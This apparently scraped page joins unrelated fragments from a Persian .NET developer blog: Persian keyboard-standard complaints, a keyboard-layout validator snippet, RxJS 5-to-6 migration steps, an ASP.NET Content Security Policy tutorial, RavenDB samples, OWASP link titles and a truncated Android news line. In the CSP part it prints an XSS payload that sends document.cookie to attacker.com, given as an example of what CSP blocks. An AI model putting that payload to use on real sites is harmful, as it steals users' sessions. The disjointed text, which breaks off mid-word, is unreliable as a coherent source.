1. در استاندارد 9147 ، جای ژ و پ مطابق صفحه کلیدی که در بازار ایران فروخته می‌شود نیست (و باید به همه پاسخگو باشید که چرا اینطوری است).
2. ی و ک در آن اصلاح شده و دیگر عربی نیست که چقدر هم خوب، اما من تعداد زیادی برنامه و همچنین تعداد قابل توجهی فایل word دارم که مطابق استاندارد 2091 تهیه شده‌اند. مشکلات ی و ک فارسی و عربی را هم در اینجا ذکر کرده‌ام و به دنبال باگ‌های جدید در برنامه‌ها نمی‌گردم.
3. با ی و ک فارسی اگر در گوگل جستجو کنید تعداد پاسخ‌های مرتبط یافت شده بسیار بسیار کمتر از حالتی خواهد بود که با ی و ک عربی جستجو کنید.
4. در یک سازمان باید رویه‌ا‌ی واحد در این مورد برقرار باشد. یا همه باید از 2091 استفاده کنند و یا همه از 9147.

ERROR: 'VK_SPACE' in Shift State 'Shift' must be made up of white space character(s), but is defined as '‌' (U+200c) instead.

39 SPACE  0 0020 200c 0020 -1  // SPACE, ZERO WIDTH NON-JOINER, SPACE, <none>

0 //Column 4
1 //Column 5 : Shft
2 //Column 6 :       Ctrl
3 //Column 7 : Shft  Ctrl

private bool VerifySpaceBarIntegrity(ShiftState ss, bool fMustBeDefined)

if (!Utilities.IsSpacing(ss.Characters))
{
    this.WriteErrorToLogFile("SpaceKeyNeedsWhiteSpaceCharacters", new string[] { "VK_" + Utilities.VkStringOfIvk(ss.VK), this.m_stStateLabel[ss.State], ss.Characters, Utilities.FromCharacterToUPlusForm(ss.Characters) });
    flag = false; /*اینجا باید اصلاح شود!*/
}

PM> Install-Package OpenCvSharp-AnyCPU

try {
    source$.subscribe(nextFn, undefined, completeFn);
} catch (err) {
    handleError(err);
}

 import 'rxjs/add/operator/map';

 import { map } from 'rxjs/operators';

import { timer } from 'rxjs/observable/timer';  
import { of } from 'rxjs/observable/of';
import { from } from 'rxjs/observable/from';
import { range } from 'rxjs/observable/range';

import { interval, of } from 'rxjs';  
import { filter, mergeMap, scan } from 'rxjs/operators';

rxjs
rxjs/operators
rxjs/testing
rxjs/webSocket
rxjs/ajax

 import { of } from 'rxjs';

 ng update rxjs

 ERROR in node_modules/ng2-slim-loading-bar/src/slim-loading-bar.service.d.ts(1,10):
error TS2305: Module '"/node_modules/rxjs/Observable"' has no exported member 'Observable'.

 npm i rxjs-compat --save

 npm i -g rxjs-tslint

{
  "rulesDirectory": [
    "node_modules/rxjs-tslint"
  ],
  "rules": {
    "rxjs-collapse-imports": true,
    "rxjs-pipeable-operators-only": true,
    "rxjs-no-static-observable-methods": true,
    "rxjs-proper-imports": true
  }
}

 rxjs-5-to-6-migrate -p src/tsconfig.app.json

 ng update rxjs

 npm i rxjs-compat --save

npm i -g rxjs-tslint
rxjs-5-to-6-migrate -p src/tsconfig.app.json

 Content-Security-Policy: default-src 'self'

<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>

Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.

Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='

<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>

public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}

var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...

Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block

JSON: JavaScript Object Notation

document :{ 
   key: "Value",
   another_key: {
      name: "embedded object"
   },
   some_date: new Date(),
   some_number: 12
}

C# anonymous object

var Document = new { 
   Key= "Value",
   AnotherKey= new {
      Name = "embedded object"
   },
   SomeDate = DateTime.Now(),
   SomeNumber = 12
};

using System.Collections.Generic;

namespace RavenDBSample01.Models
{
    public class Question
    {
        public string By { set; get; }
        public string Title { set; get; }
        public string Content { set; get; }

        public List<Comment> Comments { set; get; }
        public List<Answer> Answers { set; get; }

        public Question()
        {
            Comments = new List<Comment>();
            Answers = new List<Answer>();
        }
    }
}

namespace RavenDBSample01.Models
{
    public class Comment
    {
        public string By { set; get; }
        public string Content { set; get; }
    }
}

namespace RavenDBSample01.Models
{
    public class Answer
    {
        public string By { set; get; }
        public string Content { set; get; }
    }
}

PM> Install-Package RavenDB.Client
PM> Install-Package RavenDB.Server

using Raven.Client.Document;
using RavenDBSample01.Models;

namespace RavenDBSample01
{
    class Program
    {
        static void Main(string[] args)
        {
            using (var store = new DocumentStore
                               {
                                   Url = "http://localhost:8080"
                               }.Initialize())
            {
                using (var session = store.OpenSession())
                {
                    session.Store(new Question
                    {
                        By = "users/Vahid",
                        Title = "Raven Intro",
                        Content = "Test...."
                    });

                    session.SaveChanges();
                }
            }
        }
    }
}

<connectionStrings>
   <add name="ravenDB" connectionString="Url=http://localhost:8080"/>
</connectionStrings>

 The maximum number of requests (30) allowed for this session has been reached.

Raven is ready to process requests. Build 2700, Version 2.5.0 / 6dce79a Server started in 14,438 ms
Data directory: D:\Prog\RavenDBSample01\packages\RavenDB.Server.2.5.2700\tools\Database\System
HostName: <any> Port: 8080, Storage: Esent
Server Url: http://localhost:8080/
Available commands: cls, reset, gc, q
Request #   1: GET     -   514 ms - <system>   - 404 - /docs/Raven/Replication/Destinations
Request #   2: GET     -   763 ms - <system>   - 200 - /queries/?&id=Raven%2FHilo%2Fquestions&id=Raven%2FServerPrefixForHilo
Request #   3: PUT     -   185 ms - <system>   - 201 - /docs/Raven/Hilo/questions
Request #   4: POST    -   103 ms - <system>   - 200 - /bulk_docs
        PUT questions/1

 using (var session = store.OpenSession())
{
  var question1 = session.Load<Question>("questions/1");
  Console.WriteLine(question1.By);
}

using System;
using Raven.Client.Document;
using RavenDBSample01.Models;

namespace RavenDBSample01
{
    class Program
    {
        static void Main(string[] args)
        {
            using (var store = new DocumentStore
                               {
                                   Url = "http://localhost:8080"
                               }.Initialize())
            {
                using (var session = store.OpenSession())
                {
                    var question = new Question
                    {
                        By = "users/Vahid",
                        Title = "Raven Intro",
                        Content = "Test...."
                    };                 
                    question.Answers.Add(new Answer
                    {
                         By = "users/Farid",
                         Content = "بررسی می‌شود"
                    });
                    session.Store(question);

                    session.SaveChanges();
                }

                using (var session = store.OpenSession())
                {
                    var question1 = session.Load<Question>("questions/1");
                    Console.WriteLine(question1.By);
                }
            }
        }
    }
}

• OWASP Top 10 for .NET developers part 1: Injection

• OWASP Top 10 for .NET developers part 2: Cross-Site Scripting (XSS)

• OWASP Top 10 for .NET developers part 3: Broken authentication and session management

• OWASP Top 10 for .NET developers part 4: Insecure direct object reference

• OWASP Top 10 for .NET developers part 5: Cross-Site Request Forgery (CSRF)

• OWASP Top 10 for .NET developers part 6: Security Misconfiguration

• OWASP Top 10 for .NET developers part 7: Insecure Cryptographic Storage

.NET August updates

The following table includes release notes and binaries for the updates.

Google announced the Android App Bundle AAB  in 2018 and it looked like a good idea - better than the APK we have all been used to. Now it has been announced that in August 2021 the APK will be phased out in favour of the AAB. andro